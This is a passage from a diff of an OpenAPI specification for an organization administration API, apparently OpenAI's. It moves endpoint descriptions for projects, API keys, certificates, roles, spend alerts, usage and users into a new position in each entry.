- description: Returns a list of projects.
post:
summary: Create project
+ description: Create a new project in the organization. Projects can be created and archived, but cannot be deleted.
operationId: create-project
security:
- AdminApiKeyAuth: []
@@ -10835,7 +10719,6 @@ paths:
schema:
$ref: '#/components/schemas/Project'
x-oaiMeta:
- name: Create project
group: administration
examples:
request:
@@ -10855,10 +10738,10 @@ paths:
"archived_at": null,
"status": "active"
}
- description: Create a new project in the organization. Projects can be created and archived, but cannot be deleted.
/organization/projects/{project_id}:
get:
summary: Retrieve project
+ description: Retrieves a project.
operationId: retrieve-project
security:
- AdminApiKeyAuth: []
@@ -10879,9 +10762,7 @@ paths:
schema:
$ref: '#/components/schemas/Project'
x-oaiMeta:
- name: Retrieve project
group: administration
- description: Retrieve a project.
examples:
request:
curl: |
@@ -10897,9 +10778,9 @@ paths:
"archived_at": null,
"status": "active"
}
- description: Retrieves a project.
post:
summary: Modify project
+ description: Modifies a project in the organization.
operationId: modify-project
security:
- AdminApiKeyAuth: []
@@ -10933,7 +10814,6 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
- name: Modify project
group: administration
examples:
request:
@@ -10944,12 +10824,12 @@ paths:
-d '{
"name": "Project DEF"
}'
- description: Modifies a project in the organization.
/organization/projects/{project_id}/api_keys:
get:
security:
- AdminApiKeyAuth: []
summary: List project API keys
+ description: Returns a list of API keys in the project.
operationId: list-project-api-keys
tags:
- Projects
@@ -10994,7 +10874,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectApiKeyListResponse'
x-oaiMeta:
- name: List project API keys
group: administration
examples:
request:
@@ -11030,12 +10909,12 @@ paths:
"last_id": "key_xyz",
"has_more": false
}
- description: Returns a list of API keys in the project.
/organization/projects/{project_id}/api_keys/{api_key_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project API key
+ description: Retrieves an API key in the project.
operationId: retrieve-project-api-key
tags:
- Projects
@@ -11060,7 +10939,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectApiKey'
x-oaiMeta:
- name: Retrieve project API key
group: administration
examples:
request:
@@ -11088,11 +10966,15 @@ paths:
}
}
}
- description: Retrieves an API key in the project.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete project API key
+ description: |
+ Deletes an API key from the project.
+
+ Returns confirmation of the key deletion, or an error if the key belonged to
+ a service account.
operationId: delete-project-api-key
tags:
- Projects
@@ -11123,7 +11005,6 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
- name: Delete project API key
group: administration
examples:
request:
@@ -11137,14 +11018,10 @@ paths:
"id": "key_abc",
"deleted": true
}
- description: |
- Deletes an API key from the project.
-
- Returns confirmation of the key deletion, or an error if the key belonged to
- a service account.
/organization/projects/{project_id}/archive:
post:
summary: Archive project
+ description: Archives a project in the organization. Archived projects cannot be used or updated.
operationId: archive-project
security:
- AdminApiKeyAuth: []
@@ -11165,7 +11042,6 @@ paths:
schema:
$ref: '#/components/schemas/Project'
x-oaiMeta:
- name: Archive project
group: administration
examples:
request:
@@ -11182,12 +11058,12 @@ paths:
"archived_at": 1711471533,
"status": "archived"
}
- description: Archives a project in the organization. Archived projects cannot be used or updated.
/organization/projects/{project_id}/certificates:
get:
security:
- AdminApiKeyAuth: []
summary: List project certificates
+ description: List certificates for this project.
operationId: listProjectCertificates
tags:
- Certificates
@@ -11233,7 +11109,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List project certificates
group: administration
examples:
request:
@@ -11260,12 +11135,15 @@ paths:
"last_id": "cert_abc",
"has_more": false
}
- description: List certificates for this project.
/organization/projects/{project_id}/certificates/activate:
post:
security:
- AdminApiKeyAuth: []
summary: Activate certificates for project
+ description: |
+ Activate certificates at the project level.
+
+ You can atomically and idempotently activate up to 10 certificates at a time.
operationId: activateProjectCertificates
tags:
- Certificates
@@ -11293,7 +11171,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Activate certificates for project
group: administration
examples:
request:
@@ -11332,15 +11209,12 @@ paths:
},
],
}
- description: |
- Activate certificates at the project level.
-
- You can atomically and idempotently activate up to 10 certificates at a time.
/organization/projects/{project_id}/certificates/deactivate:
post:
security:
- AdminApiKeyAuth: []
summary: Deactivate certificates for project
+ description: "Deactivate certificates at the project level. You can atomically and \nidempotently deactivate up to 10 certificates at a time.\n"
operationId: deactivateProjectCertificates
tags:
- Certificates
@@ -11368,7 +11242,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Deactivate certificates for project
group: administration
examples:
request:
@@ -11407,12 +11280,12 @@ paths:
},
],
}
- description: "Deactivate certificates at the project level. You can atomically and \nidempotently deactivate up to 10 certificates at a time.\n"
/organization/projects/{project_id}/data_retention:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project data retention
+ description: Retrieves project data retention controls.
operationId: retrieve-project-data-retention
tags:
- Data retention
@@ -11431,7 +11304,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectDataRetention'
x-oaiMeta:
- name: Retrieve project data retention
group: administration
examples:
request:
@@ -11444,11 +11316,11 @@ paths:
"object": "project.data_retention",
"type": "organization_default"
}
- description: Retrieves project data retention controls.
post:
security:
- AdminApiKeyAuth: []
summary: Update project data retention
+ description: Updates project data retention controls.
operationId: update-project-data-retention
tags:
- Data retention
@@ -11474,7 +11346,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectDataRetention'
x-oaiMeta:
- name: Update project data retention
group: administration
examples:
request:
@@ -11490,12 +11361,12 @@ paths:
"object": "project.data_retention",
"type": "modified_abuse_monitoring"
}
- description: Updates project data retention controls.
/organization/projects/{project_id}/groups:
get:
security:
- AdminApiKeyAuth: []
summary: List project groups
+ description: Lists the groups that have access to a project.
operationId: list-project-groups
tags:
- Project groups
@@ -11541,7 +11412,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List project groups
group: administration
examples:
request:
@@ -11564,11 +11434,11 @@ paths:
"has_more": false,
"next": null
}
- description: Lists the groups that have access to a project.
post:
security:
- AdminApiKeyAuth: []
summary: Add project group
+ description: Grants a group access to a project.
operationId: add-project-group
tags:
- Project groups
@@ -11596,7 +11466,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Add project group
group: administration
examples:
request:
@@ -11616,12 +11485,12 @@ paths:
"group_name": "Support Team",
"created_at": 1711471533
}
- description: Grants a group access to a project.
/organization/projects/{project_id}/groups/{group_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project group
+ description: Retrieves a project's group.
operationId: retrieve-project-group
tags:
- Project groups
@@ -11658,7 +11527,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve project group
group: administration
examples:
request:
@@ -11675,11 +11543,11 @@ paths:
"group_type": "group",
"created_at": 1711471533
}
- description: Retrieves a project's group.
delete:
security:
- AdminApiKeyAuth: []
summary: Remove project group
+ description: Revokes a group's access to a project.
operationId: remove-project-group
tags:
- Project groups
@@ -11706,7 +11574,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Remove project group
group: administration
examples:
request:
@@ -11719,12 +11586,12 @@ paths:
"object": "project.group.deleted",
"deleted": true
}
- description: Revokes a group's access to a project.
/organization/projects/{project_id}/hosted_tool_permissions:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project hosted tool permissions
+ description: Returns hosted tool permissions for a project.
operationId: retrieve-project-hosted-tool-permissions
tags:
- Hosted tools
@@ -11743,7 +11610,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectHostedToolPermissions'
x-oaiMeta:
- name: Retrieve project hosted tool permissions
group: administration
examples:
request:
@@ -11769,11 +11635,11 @@ paths:
"enabled": true
}
}
- description: Returns hosted tool permissions for a project.
post:
security:
- AdminApiKeyAuth: []
summary: Modify project hosted tool permissions
+ description: Updates hosted tool permissions for a project.
operationId: update-project-hosted-tool-permissions
tags:
- Hosted tools
@@ -11799,7 +11665,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectHostedToolPermissions'
x-oaiMeta:
- name: Modify project hosted tool permissions
group: administration
examples:
request:
@@ -11833,12 +11698,12 @@ paths:
"enabled": true
}
}
- description: Updates hosted tool permissions for a project.
/organization/projects/{project_id}/model_permissions:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project model permissions
+ description: Returns model permissions for a project.
operationId: retrieve-project-model-permissions
tags:
- Projects
@@ -11857,7 +11722,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectModelPermissions'
x-oaiMeta:
- name: Retrieve project model permissions
group: administration
examples:
request:
@@ -11874,11 +11738,11 @@ paths:
"o3"
]
}
- description: Returns model permissions for a project.
post:
security:
- AdminApiKeyAuth: []
summary: Modify project model permissions
+ description: Updates model permissions for a project.
operationId: update-project-model-permissions
tags:
- Projects
@@ -11904,7 +11768,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectModelPermissions'
x-oaiMeta:
- name: Modify project model permissions
group: administration
examples:
request:
@@ -11926,11 +11789,11 @@ paths:
"o3"
]
}
- description: Updates model permissions for a project.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete project model permissions
+ description: Deletes model permissions for a project.
operationId: delete-project-model-permissions
tags:
- Projects
@@ -11949,7 +11812,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectModelPermissionsDeleteResponse'
x-oaiMeta:
- name: Delete project model permissions
group: administration
examples:
request:
@@ -11962,12 +11824,12 @@ paths:
"object": "project.model_permissions.deleted",
"deleted": true
}
- description: Deletes model permissions for a project.
/organization/projects/{project_id}/rate_limits:
get:
security:
- AdminApiKeyAuth: []
summary: List project rate limits
+ description: Returns the rate limits per model for a project.
operationId: list-project-rate-limits
tags:
- Projects
@@ -12008,7 +11870,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectRateLimitListResponse'
x-oaiMeta:
- name: List project rate limits
group: administration
examples:
request:
@@ -12038,12 +11899,12 @@ paths:
"code": 404,
"message": "The project {project_id} was not found"
}
- description: Returns the rate limits per model for a project.
/organization/projects/{project_id}/rate_limits/{rate_limit_id}:
post:
security:
- AdminApiKeyAuth: []
summary: Modify project rate limit
+ description: Updates a project rate limit.
operationId: update-project-rate-limits
tags:
- Projects
@@ -12081,7 +11942,6 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
- name: Modify project rate limit
group: administration
examples:
request:
@@ -12106,12 +11966,12 @@ paths:
"code": 404,
"message": "The project {project_id} was not found"
}
- description: Updates a project rate limit.
/organization/projects/{project_id}/service_accounts:
get:
security:
- AdminApiKeyAuth: []
summary: List project service accounts
+ description: Returns a list of service accounts in the project.
operationId: list-project-service-accounts
tags:
- Projects
@@ -12151,7 +12011,6 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
- name: List project service accounts
group: administration
examples:
request:
@@ -12175,11 +12034,11 @@ paths:
"last_id": "svc_acct_xyz",
"has_more": false
}
- description: Returns a list of service accounts in the project.
post:
security:
- AdminApiKeyAuth: []
summary: Create project service account
+ description: Creates a new service account in the project. By default, this also returns an unredacted API key for the service account.
operationId: create-project-service-account
tags:
- Projects
@@ -12211,7 +12070,6 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
- name: Create project service account
group: administration
examples:
request:
@@ -12237,12 +12095,12 @@ paths:
"id": "key_abc"
}
}
- description: Creates a new service account in the project. By default, this also returns an unredacted API key for the service account.
/organization/projects/{project_id}/service_accounts/{service_account_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project service account
+ description: Retrieves a service account in the project.
operationId: retrieve-project-service-account
tags:
- Projects
@@ -12267,7 +12125,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectServiceAccount'
x-oaiMeta:
- name: Retrieve project service account
group: administration
examples:
request:
@@ -12283,11 +12140,11 @@ paths:
"role": "owner",
"created_at": 1711471533
}
- description: Retrieves a service account in the project.
post:
security:
- AdminApiKeyAuth: []
summary: Update project service account
+ description: Updates a service account in the project.
operationId: update-project-service-account
tags:
- Projects
@@ -12319,7 +12176,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectServiceAccount'
x-oaiMeta:
- name: Update project service account
group: administration
examples:
request:
@@ -12339,11 +12195,15 @@ paths:
"role": "member",
"created_at": 1711471533
}
- description: Updates a service account in the project.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete project service account
+ description: |
+ Deletes a service account from the project.
+
+ Returns confirmation of service account deletion, or an error if the project
+ is archived (archived projects have no service accounts).
operationId: delete-project-service-account
tags:
- Projects
@@ -12368,7 +12228,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectServiceAccountDeleteResponse'
x-oaiMeta:
- name: Delete project service account
group: administration
examples:
request:
@@ -12382,16 +12241,12 @@ paths:
"id": "svc_acct_abc",
"deleted": true
}
- description: |
- Deletes a service account from the project.
-
- Returns confirmation of service account deletion, or an error if the project
- is archived (archived projects have no service accounts).
/organization/projects/{project_id}/spend_alerts:
get:
security:
- AdminApiKeyAuth: []
summary: List project spend alerts
+ description: Lists project spend alerts.
operationId: list-project-spend-alerts
tags:
- Spend alerts
@@ -12440,7 +12295,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectSpendAlertListResource'
x-oaiMeta:
- name: List project spend alerts
group: administration
examples:
request:
@@ -12469,11 +12323,11 @@ paths:
"last_id": "alert_abc123",
"has_more": false
}
- description: Lists project spend alerts.
post:
security:
- AdminApiKeyAuth: []
summary: Create project spend alert
+ description: Creates a project spend alert.
operationId: create-project-spend-alert
tags:
- Spend alerts
@@ -12499,7 +12353,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectSpendAlert'
x-oaiMeta:
- name: Create project spend alert
group: administration
examples:
request:
@@ -12530,12 +12383,12 @@ paths:
"subject_prefix": "OpenAI spend alert"
}
}
- description: Creates a project spend alert.
/organization/projects/{project_id}/spend_alerts/{alert_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project spend alert
+ description: Retrieves a project spend alert.
operationId: retrieve-project-spend-alert
tags:
- Spend alerts
@@ -12560,7 +12413,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectSpendAlert'
x-oaiMeta:
- name: Retrieve project spend alert
group: administration
examples:
request:
@@ -12581,11 +12433,11 @@ paths:
"subject_prefix": "OpenAI spend alert"
}
}
- description: Retrieves a project spend alert.
post:
security:
- AdminApiKeyAuth: []
summary: Update project spend alert
+ description: Updates a project spend alert.
operationId: update-project-spend-alert
tags:
- Spend alerts
@@ -12617,7 +12469,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectSpendAlert'
x-oaiMeta:
- name: Update project spend alert
group: administration
examples:
request:
@@ -12648,11 +12499,11 @@ paths:
"subject_prefix": "OpenAI spend alert"
}
}
- description: Updates a project spend alert.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete project spend alert
+ description: Deletes a project spend alert.
operationId: delete-project-spend-alert
tags:
- Spend alerts
@@ -12677,7 +12528,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectSpendAlertDeletedResource'
x-oaiMeta:
- name: Delete project spend alert
group: administration
examples:
request:
@@ -12691,12 +12541,12 @@ paths:
"object": "project.spend_alert.deleted",
"deleted": true
}
- description: Deletes a project spend alert.
/organization/projects/{project_id}/users:
get:
security:
- AdminApiKeyAuth: []
summary: List project users
+ description: Returns a list of users in the project.
operationId: list-project-users
tags:
- Projects
@@ -12736,7 +12586,6 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
- name: List project users
group: administration
examples:
request:
@@ -12761,11 +12610,11 @@ paths:
"last_id": "user-xyz",
"has_more": false
}
- description: Returns a list of users in the project.
post:
security:
- AdminApiKeyAuth: []
summary: Create project user
+ description: Adds a user to the project. Users must already be members of the organization to be added to a project.
operationId: create-project-user
parameters:
- name: project_id
@@ -12797,7 +12646,6 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
- name: Create project user
group: administration
examples:
request:
@@ -12817,12 +12665,12 @@ paths:
"role": "owner",
"added_at": 1711471533
}
- description: Adds a user to the project. Users must already be members of the organization to be added to a project.
/organization/projects/{project_id}/users/{user_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve project user
+ description: Retrieves a user in the project.
operationId: retrieve-project-user
tags:
- Projects
@@ -12847,7 +12695,6 @@ paths:
schema:
$ref: '#/components/schemas/ProjectUser'
x-oaiMeta:
- name: Retrieve project user
group: administration
examples:
request:
@@ -12864,11 +12711,11 @@ paths:
"role": "owner",
"added_at": 1711471533
}
- description: Retrieves a user in the project.
post:
security:
- AdminApiKeyAuth: []
summary: Modify project user
+ description: Modifies a user's role in the project.
operationId: modify-project-user
tags:
- Projects
@@ -12906,7 +12753,6 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
- name: Modify project user
group: administration
examples:
request:
@@ -12926,11 +12772,15 @@ paths:
"role": "owner",
"added_at": 1711471533
}
- description: Modifies a user's role in the project.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete project user
+ description: |
+ Deletes a user from the project.
+
+ Returns confirmation of project user deletion, or an error if the project is
+ archived (archived projects have no users).
operationId: delete-project-user
tags:
- Projects
@@ -12961,7 +12811,6 @@ paths:
schema:
$ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
- name: Delete project user
group: administration
examples:
request:
@@ -12975,16 +12824,12 @@ paths:
"id": "user_abc",
"deleted": true
}
- description: |
- Deletes a user from the project.
-
- Returns confirmation of project user deletion, or an error if the project is
- archived (archived projects have no users).
/organization/roles:
get:
security:
- AdminApiKeyAuth: []
summary: List organization roles
+ description: Lists the roles configured for the organization.
operationId: list-roles
tags:
- Roles
@@ -13024,7 +12869,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List organization roles
group: administration
examples:
request:
@@ -13052,11 +12896,11 @@ paths:
"has_more": false,
"next": null
}
- description: Lists the roles configured for the organization.
post:
security:
- AdminApiKeyAuth: []
summary: Create organization role
+ description: Creates a custom role for the organization.
operationId: create-role
tags:
- Roles
@@ -13077,7 +12921,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Create organization role
group: administration
examples:
request:
@@ -13106,12 +12949,12 @@ paths:
"resource_type": "api.organization",
"predefined_role": false
}
- description: Creates a custom role for the organization.
/organization/roles/{role_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve organization role
+ description: Retrieves an organization role.
operationId: retrieve-role
tags:
- Roles
@@ -13132,7 +12975,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve organization role
group: administration
examples:
request:
@@ -13153,11 +12995,11 @@ paths:
"resource_type": "api.organization",
"predefined_role": false
}
- description: Retrieves an organization role.
post:
security:
- AdminApiKeyAuth: []
summary: Update organization role
+ description: Updates an existing organization role.
operationId: update-role
tags:
- Roles
@@ -13185,7 +13027,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Update organization role
group: administration
examples:
request:
@@ -13214,11 +13055,11 @@ paths:
"resource_type": "api.organization",
"predefined_role": false
}
- description: Updates an existing organization role.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete organization role
+ description: Deletes a custom role from the organization.
operationId: delete-role
tags:
- Roles
@@ -13239,7 +13080,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Delete organization role
group: administration
examples:
request:
@@ -13253,12 +13093,12 @@ paths:
"id": "role_01J1F8ROLE01",
"deleted": true
}
- description: Deletes a custom role from the organization.
/organization/spend_alerts:
get:
security:
- AdminApiKeyAuth: []
summary: List organization spend alerts
+ description: Lists organization spend alerts.
operationId: list-organization-spend-alerts
tags:
- Spend alerts
@@ -13301,7 +13141,6 @@ paths:
schema:
$ref: '#/components/schemas/OrganizationSpendAlertListResource'
x-oaiMeta:
- name: List organization spend alerts
group: administration
examples:
request:
@@ -13330,11 +13169,11 @@ paths:
"last_id": "alert_abc123",
"has_more": false
}
- description: Lists organization spend alerts.
post:
security:
- AdminApiKeyAuth: []
summary: Create organization spend alert
+ description: Creates an organization spend alert.
operationId: create-organization-spend-alert
tags:
- Spend alerts
@@ -13353,7 +13192,6 @@ paths:
schema:
$ref: '#/components/schemas/OrganizationSpendAlert'
x-oaiMeta:
- name: Create organization spend alert
group: administration
examples:
request:
@@ -13384,12 +13222,12 @@ paths:
"subject_prefix": "OpenAI spend alert"
}
}
- description: Creates an organization spend alert.
/organization/spend_alerts/{alert_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve organization spend alert
+ description: Retrieves an organization spend alert.
operationId: retrieve-organization-spend-alert
tags:
- Spend alerts
@@ -13408,7 +13246,6 @@ paths:
schema:
$ref: '#/components/schemas/OrganizationSpendAlert'
x-oaiMeta:
- name: Retrieve organization spend alert
group: administration
examples:
request:
@@ -13429,11 +13266,11 @@ paths:
"subject_prefix": "OpenAI spend alert"
}
}
- description: Retrieves an organization spend alert.
post:
security:
- AdminApiKeyAuth: []
summary: Update organization spend alert
+ description: Updates an organization spend alert.
operationId: update-organization-spend-alert
tags:
- Spend alerts
@@ -13459,7 +13296,6 @@ paths:
schema:
$ref: '#/components/schemas/OrganizationSpendAlert'
x-oaiMeta:
- name: Update organization spend alert
group: administration
examples:
request:
@@ -13490,11 +13326,11 @@ paths:
"subject_prefix": "OpenAI spend alert"
}
}
- description: Updates an organization spend alert.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete organization spend alert
+ description: Deletes an organization spend alert.
operationId: delete-organization-spend-alert
tags:
- Spend alerts
@@ -13513,7 +13349,6 @@ paths:
schema:
$ref: '#/components/schemas/OrganizationSpendAlertDeletedResource'
x-oaiMeta:
- name: Delete organization spend alert
group: administration
examples:
request:
@@ -13527,12 +13362,12 @@ paths:
"object": "organization.spend_alert.deleted",
"deleted": true
}
- description: Deletes an organization spend alert.
/organization/usage/audio_speeches:
get:
security:
- AdminApiKeyAuth: []
summary: Audio speeches
+ description: Get audio speeches usage details for the organization.
operationId: usage-audio-speeches
tags:
- Usage
@@ -13630,7 +13465,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Audio speeches
group: usage-audio-speeches
examples:
request:
@@ -13662,12 +13496,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Get audio speeches usage details for the organization.
/organization/usage/audio_transcriptions:
get:
security:
- AdminApiKeyAuth: []
summary: Audio transcriptions
+ description: Get audio transcriptions usage details for the organization.
operationId: usage-audio-transcriptions
tags:
- Usage
@@ -13765,7 +13599,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Audio transcriptions
group: usage-audio-transcriptions
examples:
request:
@@ -13797,12 +13630,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Get audio transcriptions usage details for the organization.
/organization/usage/code_interpreter_sessions:
get:
security:
- AdminApiKeyAuth: []
summary: Code interpreter sessions
+ description: Get code interpreter sessions usage details for the organization.
operationId: usage-code-interpreter-sessions
tags:
- Usage
@@ -13873,7 +13706,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Code interpreter sessions
group: usage-code-interpreter-sessions
examples:
request:
@@ -13901,12 +13733,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Get code interpreter sessions usage details for the organization.
/organization/usage/completions:
get:
security:
- AdminApiKeyAuth: []
summary: Completions
+ description: Get completions usage details for the organization.
operationId: usage-completions
tags:
- Usage
@@ -14013,7 +13845,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Completions
group: usage-completions
examples:
request:
@@ -14060,12 +13891,12 @@ paths:
"has_more": true,
"next_page": "page_AAAAAGdGxdEiJdKOAAAAAGcqsYA="
}
- description: Get completions usage details for the organization.
/organization/usage/embeddings:
get:
security:
- AdminApiKeyAuth: []
summary: Embeddings
+ description: Get embeddings usage details for the organization.
operationId: usage-embeddings
tags:
- Usage
@@ -14163,7 +13994,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Embeddings
group: usage-embeddings
examples:
request:
@@ -14195,12 +14025,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Get embeddings usage details for the organization.
/organization/usage/file_search_calls:
get:
security:
- AdminApiKeyAuth: []
summary: File search calls
+ description: Get file search calls usage details for the organization.
operationId: usage-file-search-calls
tags:
- Usage
@@ -14298,7 +14128,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: File search calls
group: usage-file-search-calls
examples:
request:
@@ -14329,12 +14158,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Get file search calls usage details for the organization.
/organization/usage/images:
get:
security:
- AdminApiKeyAuth: []
summary: Images
+ description: Get images usage details for the organization.
operationId: usage-images
tags:
- Usage
@@ -14460,7 +14289,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Images
group: usage-images
examples:
request:
@@ -14494,12 +14322,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Get images usage details for the organization.
/organization/usage/moderations:
get:
security:
- AdminApiKeyAuth: []
summary: Moderations
+ description: Get moderations usage details for the organization.
operationId: usage-moderations
tags:
- Usage
@@ -14597,7 +14425,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Moderations
group: usage-moderations
examples:
request:
@@ -14629,12 +14456,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Get moderations usage details for the organization.
/organization/usage/vector_stores:
get:
security:
- AdminApiKeyAuth: []
summary: Vector stores
+ description: Get vector stores usage details for the organization.
operationId: usage-vector-stores
tags:
- Usage
@@ -14705,7 +14532,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Vector stores
group: usage-vector-stores
examples:
request:
@@ -14733,12 +14559,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Get vector stores usage details for the organization.
/organization/usage/web_search_calls:
get:
security:
- AdminApiKeyAuth: []
summary: Web search calls
+ description: Get web search calls usage details for the organization.
operationId: usage-web-search-calls
tags:
- Usage
@@ -14849,7 +14675,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Web search calls
group: usage-web-search-calls
examples:
request:
@@ -14882,12 +14707,12 @@ paths:
"has_more": false,
"next_page": null
}
- description: Get web search calls usage details for the organization.
/organization/users:
get:
security:
- AdminApiKeyAuth: []
summary: List users
+ description: Lists all of the users in the organization.
operationId: list-users
tags:
- Users
@@ -14923,7 +14748,6 @@ paths:
schema:
$ref: '#/components/schemas/UserListResponse'
x-oaiMeta:
- name: List users
group: administration
examples:
request:
@@ -14948,12 +14772,12 @@ paths:
"last_id": "user-xyz",
"has_more": false
}
- description: Lists all of the users in the organization.
/organization/users/{user_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve user
+ description: Retrieves a user by their identifier.
operationId: retrieve-user
tags:
- Users
@@ -14972,7 +14796,6 @@ paths:
schema:
$ref: '#/components/schemas/User'
x-oaiMeta:
- name: Retrieve user
group: administration
examples:
request:
@@ -14989,11 +14812,11 @@ paths:
"role": "owner",
"added_at": 1711471533
}
- description: Retrieves a user by their identifier.
post:
security:
- AdminApiKeyAuth: []
summary: Modify user
+ description: Modifies a user's role in the organization.
operationId: modify-user
tags:
- Users
@@ -15019,7 +14842,6 @@ paths:
schema:
$ref: '#/components/schemas/User'
x-oaiMeta:
- name: Modify user
group: administration
examples:
request:
@@ -15039,11 +14861,11 @@ paths:
"role": "owner",
"added_at": 1711471533
}
- description: Modifies a user's role in the organization.
delete:
security:
- AdminApiKeyAuth: []
summary: Delete user
+ description: Deletes a user from the organization.
operationId: delete-user
tags:
- Users
@@ -15062,7 +14884,6 @@ paths:
schema:
$ref: '#/components/schemas/UserDeleteResponse'
x-oaiMeta:
- name: Delete user
group: administration
examples:
request:
@@ -15076,12 +14897,12 @@ paths:
"id": "user_abc",
"deleted": true
}
- description: Deletes a user from the organization.
/organization/users/{user_id}/roles:
get:
security:
- AdminApiKeyAuth: []
summary: List user organization role assignments
+ description: Lists the organization roles assigned to a user within the organization.
operationId: list-user-role-assignments
tags:
- User organization role assignments
@@ -15125,7 +14946,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: List user organization role assignments
group: administration
examples:
request:
@@ -15161,11 +14981,11 @@ paths:
"has_more": false,
"next": null
}
- description: Lists the organization roles assigned to a user within the organization.
post:
security:
- AdminApiKeyAuth: []
summary: Assign organization role to user
+ description: Assigns an organization role to a user within the organization.
operationId: assign-user-role
tags:
- User organization role assignments
@@ -15193,7 +15013,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Assign organization role to user
group: administration
examples:
request:
@@ -15228,12 +15047,12 @@ paths:
"predefined_role": false
}
}
- description: Assigns an organization role to a user within the organization.
/organization/users/{user_id}/roles/{role_id}:
get:
security:
- AdminApiKeyAuth: []
summary: Retrieve user organization role
+ description: Retrieves an organization role assigned to a user.
operationId: retrieve-user-role
tags:
- User organization role assignments
@@ -15260,7 +15079,6 @@ paths:
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
- name: Retrieve user organization role
group: administration
examples:
request:
@@ -15286,11 +15104,11 @@ paths:
"metadata": {},
"assignment_sources": null
}
- description: Retrieves an organization role assigned to a user.
delete:
security:
- AdminApiKeyAuth: []
